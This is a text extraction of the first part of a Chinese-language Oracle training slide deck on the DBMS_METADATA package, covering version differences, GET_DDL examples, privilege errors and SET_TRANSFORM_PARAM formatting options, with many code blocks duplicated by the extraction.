1. oracle 9i/10g/11g dbms metadata(95 页)
TRANSCRIPT
Oracle 9i/10g/11g
DBMS_METADATA包详细
赵元杰
北京群环域科技有限公司
2012.2
2/92
内容
♠ DBMS_METADATA的版本差异
♠ DBMS_METADATA.GET_DDL
♠ DBMS_METADATA包特殊功能
♠ DBMS_METADATA- 11g新功能
♠ DBMS_METADATA_DIFF包
♠ DBMS_METADATA包与安全问题
♠ 用DBMS_METADATA包API
♠ DBMS_METADATA包使用常见问题
3/92
关于导出元数据
♠ Oracle 对源码OPEN的谨慎: ♠ 直到 Oracle 9i 为止,Oracle 对开放源代码都很谨慎,过去希望完整列出
自己创建的对象的元数据是困难的
♠ 到Oracle 9i 时, Oracle 给出DBMS_METADATA元数据库包,打破不能完整导出元数据库的束缚
♠ 到Oracle 11g 为止,这个包不断完善当中。
♠ DBMS_METADATA包的用途:
♠ 可完整地导出几乎所有对象的元数据
♠ 此外,还具有管理的功能
♠ 开发人员和DBA都需要这个包
♠ 迁移工程师需要这个包
♠ 提供命令方式与API接口
♠ {ORACLE_HOME}/rdbms/admin/dbmsmeta.sql脚本创建。
4/92
导出元数据的革命性变化
♠ 新旧方法比较: ♠ 在8i及之前版本,从多个数据字典查询并拼接才能形成完整的DDL语
句:
SELECT 'rem /* 创建表、主键、存储参数及pct参数 */' FROM DUAL;
CLEAR COLUMN;
COLUMN table_name NOPRINT;
COLUMN seq NOPRINT;
BREAK ON table_name SKIP 1;
SELECT table_name, 0 seq, 'CREATE TABLE '
|| lower ( table_name ) || ' ( '
FROM user_tables
UNION
SELECT a.table_name, column_id seq, ' '
|| RPAD( LOWER( column_name ),35,' ') || ' ' ||
RPAD ( DECODE ( data_type, 'NUMBER', data_type ||
decode(data_precision,null,null, '(' )
||data_precision || decode(data_scale,null,null, ',' ) ||
decode(data_scale,null,null, data_scale)
|| decode(data_precision,null,null, ')' ) ,
'DATE' , data_type || ' ',
'BLOB' , data_type || ' ',
'LONG' , data_type || ' ',
data_type
|| '(' || data_length || ') '
), 20, ' ') ||
DECODE ( NULLABLE, 'N', ' NOT NULL ', NULL ) ||
DECODE ( column_id, total_columns, ')', ',' )
FROM user_tab_columns a, user_tables b,
( SELECT table_name, COUNT(1) total_columns
FROM user_tab_columns
GROUP BY table_name ) c
WHERE a.table_name = b.table_name
AND a.table_name = c.table_name
AND data_type <> 'UNDEFINED'
UNION
SELECT 'rem /* 创建表、主键、存储参数及pct参数 */' FROM DUAL;
CLEAR COLUMN;
COLUMN table_name NOPRINT;
COLUMN seq NOPRINT;
BREAK ON table_name SKIP 1;
SELECT table_name, 0 seq, 'CREATE TABLE '
|| lower ( table_name ) || ' ( '
FROM user_tables
UNION
SELECT a.table_name, column_id seq, ' '
|| RPAD( LOWER( column_name ),35,' ') || ' ' ||
RPAD ( DECODE ( data_type, 'NUMBER', data_type ||
decode(data_precision,null,null, '(' )
||data_precision || decode(data_scale,null,null, ',' ) ||
decode(data_scale,null,null, data_scale)
|| decode(data_precision,null,null, ')' ) ,
'DATE' , data_type || ' ',
'BLOB' , data_type || ' ',
'LONG' , data_type || ' ',
data_type
|| '(' || data_length || ') '
), 20, ' ') ||
DECODE ( NULLABLE, 'N', ' NOT NULL ', NULL ) ||
DECODE ( column_id, total_columns, ')', ',' )
FROM user_tab_columns a, user_tables b,
( SELECT table_name, COUNT(1) total_columns
FROM user_tab_columns
GROUP BY table_name ) c
WHERE a.table_name = b.table_name
AND a.table_name = c.table_name
AND data_type <> 'UNDEFINED'
UNION
SELECT table_name, 8000 seq, ' PRIMARY KEY ' ||
DECODE ( SUBSTR (constraint_name,1,3), 'SYS', NULL, LOWER ( constraint_name) )
|| ' ( '
FROM user_constraints
WHERE constraint_type IN ('P')
UNION
SELECT a.table_name, (8000 + POSITION) seq, ' ' ||
lower (column_name) || DECODE (position, total_cons, ' );', ',')
FROM user_cons_columns a, user_constraints b,
( SELECT a.constraint_name, count(a.constraint_name) total_cons
FROM user_cons_columns a, user_constraints b
WHERE a.constraint_name = b.constraint_name
AND b.constraint_type IN ('P')
GROUP by a.constraint_name ) c
WHERE a.constraint_name = b.constraint_name
AND a.constraint_name = c.constraint_name
AND constraint_type IN ('P')
UNION
SELECT table_name, 9998 seq, ' PCTFREE ' ||
PCT_FREE || ' PCTUSED ' || PCT_USED
FROM user_tables
UNION
SELECT table_name, 9999 seq, ' STORAGE ( INITIAL ' ||
INITIAL_EXTENT || ' NEXT ' || NEXT_EXTENT || ' );'
FROM user_tables
ORDER BY table_name, seq;
SELECT table_name, 8000 seq, ' PRIMARY KEY ' ||
DECODE ( SUBSTR (constraint_name,1,3), 'SYS', NULL, LOWER ( constraint_name) )
|| ' ( '
FROM user_constraints
WHERE constraint_type IN ('P')
UNION
SELECT a.table_name, (8000 + POSITION) seq, ' ' ||
lower (column_name) || DECODE (position, total_cons, ' );', ',')
FROM user_cons_columns a, user_constraints b,
( SELECT a.constraint_name, count(a.constraint_name) total_cons
FROM user_cons_columns a, user_constraints b
WHERE a.constraint_name = b.constraint_name
AND b.constraint_type IN ('P')
GROUP by a.constraint_name ) c
WHERE a.constraint_name = b.constraint_name
AND a.constraint_name = c.constraint_name
AND constraint_type IN ('P')
UNION
SELECT table_name, 9998 seq, ' PCTFREE ' ||
PCT_FREE || ' PCTUSED ' || PCT_USED
FROM user_tables
UNION
SELECT table_name, 9999 seq, ' STORAGE ( INITIAL ' ||
INITIAL_EXTENT || ' NEXT ' || NEXT_EXTENT || ' );'
FROM user_tables
ORDER BY table_name, seq;
5/92
导出元数据的革命性变化
♠ 新旧方法比较: ♠ 在9i及之后版本得到DDL更简单:
SELECT dbms_metadata.get_ddl(‘TABLE’,’EMPLOYEE’)
FROM dual;
DBMS_METADATA.GET_DDL('TABLE','EMPLOYEE')
-----------------------------------------------------------------
CREATE TABLE "SCM"."EMPLOYEE"
( "LNAME" VARCHAR2(30 CHAR),
"FNAME" VARCHAR2(30 CHAR),
"SSN" NUMBER(9,0)
) PCTFREE 10 PCTUSED 40 INITRANS 1 MAXTRANS 255 NOCOMPRESS LOGGING
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USER_DATA"
SELECT dbms_metadata.get_ddl(‘TABLE’,’EMPLOYEE’)
FROM dual;
DBMS_METADATA.GET_DDL('TABLE','EMPLOYEE')
-----------------------------------------------------------------
CREATE TABLE "SCM"."EMPLOYEE"
( "LNAME" VARCHAR2(30 CHAR),
"FNAME" VARCHAR2(30 CHAR),
"SSN" NUMBER(9,0)
) PCTFREE 10 PCTUSED 40 INITRANS 1 MAXTRANS 255 NOCOMPRESS LOGGING
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USER_DATA"
6/92
元数据包的权限
♠ DBMS_METEDATA: ♠ DBMS_METADATA 已经授予 PUBLIC:
--包属于SYS用户: select * from dba_tab_privs
where table_name = ‘DBMS_METADATA’;
GRANTEE OWNER TABLE_NAME GRANTOR PRIVILEGE GRA HIE
------- ----- ------------- ------- --------- --- ---
PUBLIC SYS DBMS_METADATA SYS EXECUTE NO NO
--包属于SYS用户: select * from dba_tab_privs
where table_name = ‘DBMS_METADATA’;
GRANTEE OWNER TABLE_NAME GRANTOR PRIVILEGE GRA HIE
------- ----- ------------- ------- --------- --- ---
PUBLIC SYS DBMS_METADATA SYS EXECUTE NO NO
7/92
Oracle 9i/10g/11g-子程序
♠ DBMS_METADATA 包-9i/10g/11g 差异: ♠ 不同版本支持的子程序不同:
子程序 功能 9i 10g 11g
OPEN 打开对象类型 y y y
SET_FILTER 指定返回的限制 y y y
SET_COUNT 指定返回对象的最大数量 y y y
GET_QUERY FETCH_xxx 返回的文本 y y y
SET_PARSE_ITEM 启用对象属性分析 y y y
SET_TRANSFORM_PARAM XSLT风格 y y y
FETCH_xxx 返回SET_FILTER, SET_COUNT, ADD_TRANSFORM建数据
y y y
8/92
Oracle 9i/10g/11g-子程序
♠ DBMS_METADATA 包-9i/10g/11g 差异: ♠ 不同版本支持的子程序不同:
子程序 功能 9i 10g 11g
CLOSE 对OPEN打开的进行关闭 y y y
GET_XML & GET_DDL 返回XML 或 DDL元数据 y y y
GET_DEPENDENT_XML 返回一个或多个相关对象的XML 元数据 y y y
GET_DEPENDENT_DDL 返回一个或多个相关对象的DDL 元数据 y y y
GET_GRANTED_XML 以XML返回授权对象的元数据 y y y
GET_GRANTED_DDL 以DDL返回授权对象的元数据 y y y
9/92
Oracle 9i/10g/11g-子程序
♠ DBMS_METADATA 包-9i/10g/11g 差异: ♠ 不同版本支持的子程序不同:
子程序 功能 9i 10g 11g
ADD_TRANSFORM 指定转换XML y y
SET_REMAP_PARAM 将对象创建到另一个SCHEMA中 y y
CONVERT 将元数据转换为另外的格式 ** y y
OPENW Opens a write context y y
PUT 发生XML到数据库 y y
get_version 得到版本信息 Y
IS_OBJECT_XDB_GENERATED 检查对象是否用
dbms_xmlschema.registerschema做过处理
Y
OPENC 建立对象上下文比较并以XML输出 Y
10/92
Oracle 9i/10g/11g-支持类型
♠ DBMS_METADATA 包-9i/10g/11g 差异: ♠ 不同版本支持的类型不同:
类型 功能 9i 10g 11g
ASSOCIATION 相关统计 y y y
AUDIT 获得审计信息 y y y
AUDIT_OBJ 审计模式对象 y y y
CLUSTER 簇对象 y y y
COMMENT 获取表的注释 y y y
CONSTRAINT 不包括IOT的主键;NOT NULL等 y y y
CONTEXT 应用上下文 y y y
DB_LINK 获取数据库链接信息 y y y
11/92
Oracle 9i/10g/11g-支持类型
♠ DBMS_METADATA 包-9i/10g/11g 差异: ♠ 不同版本支持的类型不同:
类型 功能 9i 10g 11g
DEFAULT_ROLE 默认的角色 y y y
DIMENSION 数据库中的维 y y y
DIRECTORY 目录信息 y y y
FUNCTION 函数 y y y
INDEX 索引 y y y
INDEXTYPE 索引类型 y y y
JAVA_SOURCE Java 源码 Y y y
LIBRARY 库信息(由 C和PL/SQL创建的库) y y y
12/92
Oracle 9i/10g/11g-支持类型
♠ DBMS_METADATA 包-9i/10g/11g 差异: ♠ 不同版本支持的类型不同:
类型 功能 9i 10g 11g
MATERIALIZED_VIEW 实体视图 y y y
MATERIALIZED_VIEW_LOG 实体视图日志 y y y
OBJECT_GRANT 对象权限 y y y
OPERATOR 算法 y y y
OUTLINE 概要 y y y
PACKAGE 包 y y y
PACKAGE_SPEC 包的说明 y y y
PACKAGE_BODY 包的详细 y y y
13/92
Oracle 9i/10g/11g-支持类型
♠ DBMS_METADATA 包-9i/10g/11g 差异: ♠ 不同版本支持的类型不同:
类型 功能 9i 10g 11g
PROCEDURE 存储过程 y y y
PROFILE 资源限额 y y y
PROXY 代理 y y y
REF_CONSTRAINT 引用 y y y
ROLE 角色 y y y
ROLE_GRANT 角色权限 y y y
ROLLBACK_SEGMENT 回滚段 y y y
SEQUENCE 序列 y y y
14/92
Oracle 9i/10g/11g-支持类型
♠ DBMS_METADATA 包-9i/10g/11g 差异: ♠ 不同版本支持的类型不同:
类型 功能 9i 10g 11g
SYNONYM 同义词 y y y
SYSTEM_GRANT 系统权限 Y y y
TABLE 表 Y y Y
TABLESPACE 表空间 Y Y Y
TABLESPACE_QUOTA 表空间使用限额 y Y y
TRIGGER 触发器 y Y Y
TRUSTED_DB_LINK 数据库链接 Y Y Y
TYPE 类型 y y y
15/92
Oracle 9i/10g/11g-支持类型
♠ DBMS_METADATA 包-9i/10g/11g 差异: ♠ 不同版本支持的类型不同:
类型 功能 9i 10g 11g
TYPE_SPEC 类型描述 y y y
TYPE_BODY 类型主体 y y y
USER 用户 y y y
VIEW 视图 y y y
XMLSCHEMA XML模式 y y y
AQ_QUEUE 高级队列 Y Y
AQ_QUEUE_TABLE 高级队列表 Y Y
AQ_TRANSFORM 高级对象了转换 Y Y
16/92
Oracle 10g/11g-支持类型
♠ DBMS_METADATA 包-9i/10g/11g 差异: ♠ 不同版本支持的类型不同:
类型 功能 9i 10g 11g
DATABASE_EXPORT 导出数据库全部元数据 Y Y
FGA_POLICY 精细的审计策略 Y Y
INDEX_STATISTICS 索引统计 Y Y
JOB 作业 Y Y
RESOURCE_COST 资源代价 Y Y
RLS_CONTEXT 精细访问控制上下文 Y Y
RLS_GROUP 精细访问控制组 Y Y
RLS_POLICY 精细访问控制 策略 Y Y
17/92
Oracle 10g/11g-支持类型
♠ DBMS_METADATA 包-9i/10g/11g 差异: ♠ 不同版本支持的类型不同:
类型 功能 9i 10g 11g
RMGR_CONSUMER_GROUP 资源计划 组 Y Y
RMGR_INTITIAL_CONSUMER_GROUP 资源计划消费组 Y Y
RMGR_PLAN 资源计划 Y Y
RMGR_PLAN_DIRECTIVE 资源计划指令 Y Y
SCHEMA_EXPORT 模式导出 Y Y
TABLE_DATA 表数据 Y Y
TABLE_EXPORT 表卸出 Y Y
TABLE_STATISTICS 表统计数据 Y Y
TRANSPORTABLE_EXPORT 传输导出 Y Y
18/92
内容
♠ DBMS_METADATA的版本差异
♠ DBMS_METADATA.GET_DDL
♠ DBMS_METADATA包特殊功能
♠ DBMS_METADATA- 11g新功能
♠ DBMS_METADATA_DIFF包
♠ DBMS_METADATA包与安全问题
♠ 用DBMS_METADATA包API
♠ DBMS_METADATA包使用常见问题
19/92
DBMS_METADATA使用环境
♠ 在SQL*Plus 环境下使用: ♠ 在PL/SQL中使用包的方法 ♠ 在SQL>下命令使用
select * from dba_tab_privs
where table_name = ‘DBMS_METADATA’;
GRANTEE OWNER TABLE_NAME GRANTOR PRIVILEGE GRA HIE
------- ----- ------------- ------- --------- --- ---
PUBLIC SYS DBMS_METADATA SYS EXECUTE NO NO
select * from dba_tab_privs
where table_name = ‘DBMS_METADATA’;
GRANTEE OWNER TABLE_NAME GRANTOR PRIVILEGE GRA HIE
------- ----- ------------- ------- --------- --- ---
PUBLIC SYS DBMS_METADATA SYS EXECUTE NO NO
20/92
DBMS_METADATA使用环境
♠ 在SQL*Plus 环境下使用注意: ♠在SQL>下命令使用-大小写敏感问题 --类型用大写,比如:
dbms_metadata.get_ddl('VIEW','C_VIEW','OE')
--错误:参数不能用小写
dbms_metadata.get_ddl('view','C_VIEW','OE')
ERROR:
ORA-31600: invalid input value view for parameter OBJECT_TYPE in function
GET_DDL
ORA-06512: at "SYS.DBMS_METADATA", line 2681
ORA-06512: at "SYS.DBMS_METADATA", line 2732
ORA-06512: at "SYS.DBMS_METADATA", line 4333
ORA-06512: at line 1
--正确,参数直接写
dbms_metadata.get_ddl('VIEW','C_VIEW','OE')
--错误,参数不能传递
dbms_metadata.get_ddl(object_type=>'VIEW',name=>'C_VIEW',schema=>'OE')
*
ERROR at line 2:
ORA-00907: missing right parenthesis
--类型用大写,比如:
dbms_metadata.get_ddl('VIEW','C_VIEW','OE')
--错误:参数不能用小写
dbms_metadata.get_ddl('view','C_VIEW','OE')
ERROR:
ORA-31600: invalid input value view for parameter OBJECT_TYPE in function
GET_DDL
ORA-06512: at "SYS.DBMS_METADATA", line 2681
ORA-06512: at "SYS.DBMS_METADATA", line 2732
ORA-06512: at "SYS.DBMS_METADATA", line 4333
ORA-06512: at line 1
--正确,参数直接写
dbms_metadata.get_ddl('VIEW','C_VIEW','OE')
--错误,参数不能传递
dbms_metadata.get_ddl(object_type=>'VIEW',name=>'C_VIEW',schema=>'OE')
*
ERROR at line 2:
ORA-00907: missing right parenthesis
21/92
DBMS_METADATA使用环境
♠ 使用DBMS_METADATA包的权限问题: ♠ 如果没有授予角色,则提示错误: ♠ 授予SELECT_CATALOG_ROLE角色
--权限不够时的提示
GRANT select, insert, update, delete, alter ON locations TO oe;
connect oe/demo;
SELECT DBMS_METADATA.GET_DDL('TABLE', 'LOCATIONS', 'HR') ddl_call
FROM dual;
ERROR:
ORA-31603: object "LOCATIONS" of type TABLE not found in schema "HR"
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA", line 2805
ORA-06512: at "SYS.DBMS_METADATA", line 4333
ORA-06512: at line 1
--权限不够时的提示
GRANT select, insert, update, delete, alter ON locations TO oe;
connect oe/demo;
SELECT DBMS_METADATA.GET_DDL('TABLE', 'LOCATIONS', 'HR') ddl_call
FROM dual;
ERROR:
ORA-31603: object "LOCATIONS" of type TABLE not found in schema "HR"
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA", line 2805
ORA-06512: at "SYS.DBMS_METADATA", line 4333
ORA-06512: at line 1
22/92
DBMS_METADATA使用环境
♠ 使用DBMS_METADATA包的技巧: ♠ 在SQL>下使用,要设置环境参数,如:
--常用格式设置:
LINESIZE 行宽
PAGESIZE 每页行数
FEEDBACK OFF 反馈行数的数量
LONG 至少设置 100000 -CLOB
TRIMSPOOL ON 对空格符的截断
--常用格式设置:
LINESIZE 行宽
PAGESIZE 每页行数
FEEDBACK OFF 反馈行数的数量
LONG 至少设置 100000 -CLOB
TRIMSPOOL ON 对空格符的截断
23/92
DBMS_METADATA.GET_DDL
♠ GET_DDL 可导出许多类型对象的元数据: ♠例子1:最简单的用法
连接到:
Oracle Database 11g Enterprise Edition Release
11.2.0.1.0 - Production
With the Partitioning, OLAP, Data Mining and Real
Application Testing options
SQL> set line 188
SQL> set trimspool on
SQL> set long 10000
SQL> set pagesize 0
SQL> select dbms_metadata.get_ddl('TABLE','EMP')
from dual;
连接到:
Oracle Database 11g Enterprise Edition Release
11.2.0.1.0 - Production
With the Partitioning, OLAP, Data Mining and Real
Application Testing options
SQL> set line 188
SQL> set trimspool on
SQL> set long 10000
SQL> set pagesize 0
SQL> select dbms_metadata.get_ddl('TABLE','EMP')
from dual;
24/92
DBMS_METADATA.GET_DDL
♠ GET_DDL 可导出许多类型对象的元数据: ♠例子2:从DBA角度导出某个用户的某个表:
SQL> show user
USER 为 "SYSTEM"
SQL> select dbms_metadata.get_ddl('TABLE','EMP','SCOTT') from dual;
CREATE TABLE "SCOTT"."EMP"
( "EMPNO" NUMBER(4,0),
"ENAME" VARCHAR2(10),
"JOB" VARCHAR2(9),
“MGR” NUMBER(4,0),
... ...
SQL> show user
USER 为 "SYSTEM"
SQL> select dbms_metadata.get_ddl('TABLE','EMP','SCOTT') from dual;
CREATE TABLE "SCOTT"."EMP"
( "EMPNO" NUMBER(4,0),
"ENAME" VARCHAR2(10),
"JOB" VARCHAR2(9),
“MGR” NUMBER(4,0),
... ...
25/92
DBMS_METADATA.GET_DDL
♠ GET_DDL 可导出许多类型对象的元数据: ♠例子3:从DBA角度导出某个用户的某个表:
set pagesize 0
set linesize 200
set long 1000000
set longchunksize 1000000
spool c:\scott_emp.sql
-- 可从数据字典查询出表名也可以:
select dbms_metadata.get_ddl('TABLE',a.table_name,'SCOTT')
from dba_tables a
where table_name = 'DEPT'
and owner = 'SCOTT'
spool off
set pagesize 0
set linesize 200
set long 1000000
set longchunksize 1000000
spool c:\scott_emp.sql
-- 可从数据字典查询出表名也可以:
select dbms_metadata.get_ddl('TABLE',a.table_name,'SCOTT')
from dba_tables a
where table_name = 'DEPT'
and owner = 'SCOTT'
spool off
26/92
DBMS_METADATA.GET_DDL
♠ GET_DDL 可导出Procedure: ♠例子4:导出某个procedure:
CREATE OR REPLACE PROCEDURE abc AS
BEGIN
NULL;
END abc;
--
SET LONG 1000000
SELECT dbms_metadata.get_ddl(object_type, object_name)
FROM user_objects WHERE object_name = 'ABC';
DBMS_METADATA.GET_DDL('PROCEDURE',OBJECT_NAME)
--------------------------------------------------------------
CREATE OR REPLACE PROCEDURE "PLSQL_USER"."ABC" AS
BEGIN
NULL;
END abc;
CREATE OR REPLACE PROCEDURE abc AS
BEGIN
NULL;
END abc;
--
SET LONG 1000000
SELECT dbms_metadata.get_ddl(object_type, object_name)
FROM user_objects WHERE object_name = 'ABC';
DBMS_METADATA.GET_DDL('PROCEDURE',OBJECT_NAME)
--------------------------------------------------------------
CREATE OR REPLACE PROCEDURE "PLSQL_USER"."ABC" AS
BEGIN
NULL;
END abc;
27/92
DBMS_METADATA.set_transform_param
♠ 默认导出结果与转换设置: ♠ 1. PRETTY缩排或换行格式化
♠ 2. STORAGE {TRUE | FALSE }
♠ 3. SEGMENT_ATTRIBUTES {TRUE | FALSE }
♠ 4. CONSTRAINTS {TRUE | FALSE }
♠ 5. REF_CONSTRAINTS {TRUE | FALSE }
♠ 6. CONSTRAINTS_AS_ALTER {TRUE | FALSE }
♠ 7. SQLTERMINATOR {TRUE | FALSE }
♠ 8. FORCE {TRUE | FALSE }
♠ 9. DEFAULT {TRUE }
28/92
DBMS_METADATA.set_transform_param
♠ set_transform_param可对导出结果的格式处理: ♠ --1.输出信息采用缩排或换行格式化
♠ EXEC DBMS_METADATA.set_transform_param(DBMS_METADATA.session_transform, 'PRETTY', TRUE);
♠ --2.确保每个语句都带分号
♠ EXEC DBMS_METADATA.set_transform_param(DBMS_METADATA.session_transform, 'SQLTERMINATOR', TRUE);
29/92
DBMS_METADATA.set_transform_param
♠ set_transform_param可对导出结果进行格式处理: ♠ --3.关闭表索引、外键等约束信息
♠ EXEC DBMS_METADATA.set_transform_param(DBMS_METADATA.session_transform, ‘CONSTRAINTS’, FALSE);
♠ --4.关闭表外键约束信息
♠ EXEC DBMS_METADATA.set_transform_param(DBMS_METADATA.session_transform, ‘REF_CONSTRAINTS’, FALSE);
♠ --5.关闭用Alter 建立的约束信息
♠ EXEC DBMS_METADATA.set_transform_param(DBMS_METADATA.session_transform, 'CONSTRAINTS_AS_ALTER', FALSE);
30/92
DBMS_METADATA.set_transform_param
♠ set_transform_param可对导出结果进行格式处理: ♠ --6.关闭存储属性描述:
♠ EXEC DBMS_METADATA.set_transform_param(DBMS_METADATA.session_transform, ‘STORAGE’, FALSE);
♠ EXECUTE DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM,'DEFAULT' );
♠ --7.关闭表空间属性描述:
♠ EXEC DBMS_METADATA.set_transform_param(DBMS_METADATA.session_transform, 'TABLESPACE', FALSE);
♠ --8.关闭创建表的PCTFREE、NOCOMPRESS等属性
♠ EXEC DBMS_METADATA.set_transform_param(DBMS_METADATA.session_transform, 'SEGMENT_ATTRIBUTES', FALSE);
31/92
未使用SET_TRANSFORM_PARAM
♠ 用SET_TRANSFORM_PARAM 中: ♠ 使用set_transform_param过程来实现输出子句的控制
SQL> select dbms_metadata.get_ddl('TABLE', 'EMP') from dual;
DBMS_METADATA.GET_DDL('TABLE','EMP')
--------------------------------------------------------------------------------
CREATE TABLE "SCOTT"."EMP"
("EMPNO" NUMBER(4,0),
"ENAME" VARCHAR2(10),
"JOB" VARCHAR2(9),
"MGR" NUMBER(4,0),
"HIREDATE" DATE,
"SAL" NUMBER(7,2),
"COMM" NUMBER(7,2),
"DEPTNO" NUMBER(2,0),
CONSTRAINT "PK_EMP" PRIMARY KEY ("EMPNO")
USING INDEX PCTFREE 10 INITRANS 2 MAXTRANS 255 COMPUTE STATISTICS
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT FLASH_CACHE DEFAULT
CELL_FLASH_CACHE DEFAULT)
TABLESPACE "USERS" ENABLE,
CONSTRAINT "FK_DEPTNO" FOREIGN KEY ("DEPTNO")
REFERENCES "SCOTT"."DEPT" ("DEPTNO") ENABLE
) SEGMENT CREATION IMMEDIATE
PCTFREE 10 PCTUSED 40 INITRANS 1 MAXTRANS 255 NOCOMPRESS LOGGING
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT FLASH_CACHE DEFAULT CELL_FLASH_CACHE
DEFAULT)
TABLESPACE "USERS"
32/92
使用SET_TRANSFORM_PARAM
♠ 用SET_TRANSFORM_PARAM 中: ♠ 使用set_transform_param过程来实现输出子句的控制
SQL> EXEC DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM,'STORAGE',FALSE);
PL/SQL 过程已成功完成。
SQL> select dbms_metadata.get_ddl('TABLE', 'EMP') from dual;
DBMS_METADATA.GET_DDL('TABLE','EMP')
--------------------------------------------------------------------------------
CREATE TABLE "SCOTT"."EMP"
("EMPNO" NUMBER(4,0),
"ENAME" VARCHAR2(10),
"JOB" VARCHAR2(9),
"MGR" NUMBER(4,0),
"HIREDATE" DATE,
"SAL" NUMBER(7,2),
"COMM" NUMBER(7,2),
"DEPTNO" NUMBER(2,0),
CONSTRAINT "PK_EMP" PRIMARY KEY ("EMPNO")
USING INDEX PCTFREE 10 INITRANS 2 MAXTRANS 255 COMPUTE STATISTICS
TABLESPACE "USERS" ENABLE,
CONSTRAINT "FK_DEPTNO" FOREIGN KEY ("DEPTNO")
REFERENCES "SCOTT"."DEPT" ("DEPTNO") ENABLE
) SEGMENT CREATION IMMEDIATE
PCTFREE 10 PCTUSED 40 INITRANS 1 MAXTRANS 255 NOCOMPRESS LOGGING
TABLESPACE "USERS"
关闭存储属性描述
33/92
未使用SET_TRANSFORM_PARAM
♠ GET_DDL 可导出表的转换: ♠ 例子5:没有声明转换要求,则直接完全导出:
SET LONG 1000000
select dbms_metadata.get_ddl('TABLE','EMP','SCOTT') from dual;
CREATE TABLE "SCOTT"."EMP"
( "EMPNO" NUMBER(4,0),
"ENAME" VARCHAR2(10),
"JOB" VARCHAR2(9),
"MGR" NUMBER(4,0),
"HIREDATE" DATE,
"SAL" NUMBER(7,2),
"COMM" NUMBER(7,2),
"DEPTNO" NUMBER(2,0),
CONSTRAINT "PK_EMP" PRIMARY KEY ("EMPNO")
USING INDEX PCTFREE 10 INITRANS 2 MAXTRANS 255
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USERS" ENABLE,
CONSTRAINT "FK_DEPTNO" FOREIGN KEY ("DEPTNO")
REFERENCES "SCOTT"."DEPT" ("DEPTNO") ENABLE
) PCTFREE 10 PCTUSED 40 INITRANS 1 MAXTRANS 255 NOCOMPRESS LOGGING
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USERS"
SET LONG 1000000
select dbms_metadata.get_ddl('TABLE','EMP','SCOTT') from dual;
CREATE TABLE "SCOTT"."EMP"
( "EMPNO" NUMBER(4,0),
"ENAME" VARCHAR2(10),
"JOB" VARCHAR2(9),
"MGR" NUMBER(4,0),
"HIREDATE" DATE,
"SAL" NUMBER(7,2),
"COMM" NUMBER(7,2),
"DEPTNO" NUMBER(2,0),
CONSTRAINT "PK_EMP" PRIMARY KEY ("EMPNO")
USING INDEX PCTFREE 10 INITRANS 2 MAXTRANS 255
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USERS" ENABLE,
CONSTRAINT "FK_DEPTNO" FOREIGN KEY ("DEPTNO")
REFERENCES "SCOTT"."DEPT" ("DEPTNO") ENABLE
) PCTFREE 10 PCTUSED 40 INITRANS 1 MAXTRANS 255 NOCOMPRESS LOGGING
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USERS"
段对象的属性信息
34/92
使用SET_TRANSFORM_PARAM
♠ GET_DDL 可导出表的转换: ♠例子6:先用set_transform_param声明转换:
execute dbms_metadata.set_transform_param(dbms_metadata.session_transform,
‘SEGMENT_ATTRIBUTES’, false );
--
select dbms_metadata.get_ddl('TABLE','EMP','SCOTT') from dual;
CREATE TABLE "SCOTT"."EMP"
( "EMPNO" NUMBER(4,0),
"ENAME" VARCHAR2(10),
"JOB" VARCHAR2(9),
"MGR" NUMBER(4,0),
"HIREDATE" DATE,
"SAL" NUMBER(7,2),
"COMM" NUMBER(7,2),
"DEPTNO" NUMBER(2,0),
CONSTRAINT "PK_EMP" PRIMARY KEY ("EMPNO") ENABLE,
CONSTRAINT "FK_DEPTNO" FOREIGN KEY ("DEPTNO")
REFERENCES "SCOTT"."DEPT" ("DEPTNO") ENABLE
)
execute dbms_metadata.set_transform_param(dbms_metadata.session_transform,
‘SEGMENT_ATTRIBUTES’, false );
--
select dbms_metadata.get_ddl('TABLE','EMP','SCOTT') from dual;
CREATE TABLE "SCOTT"."EMP"
( "EMPNO" NUMBER(4,0),
"ENAME" VARCHAR2(10),
"JOB" VARCHAR2(9),
"MGR" NUMBER(4,0),
"HIREDATE" DATE,
"SAL" NUMBER(7,2),
"COMM" NUMBER(7,2),
"DEPTNO" NUMBER(2,0),
CONSTRAINT "PK_EMP" PRIMARY KEY ("EMPNO") ENABLE,
CONSTRAINT "FK_DEPTNO" FOREIGN KEY ("DEPTNO")
REFERENCES "SCOTT"."DEPT" ("DEPTNO") ENABLE
)
没有段对象的属性信息
段对象的属性信息不显示
35/92
使用SET_TRANSFORM_PARAM
♠ GET_DDL 可导出表的转换: ♠例子7:先用set_transform_param声明转换:
execute dbms_metadata.set_transform_param(dbms_metadata.session_transform,
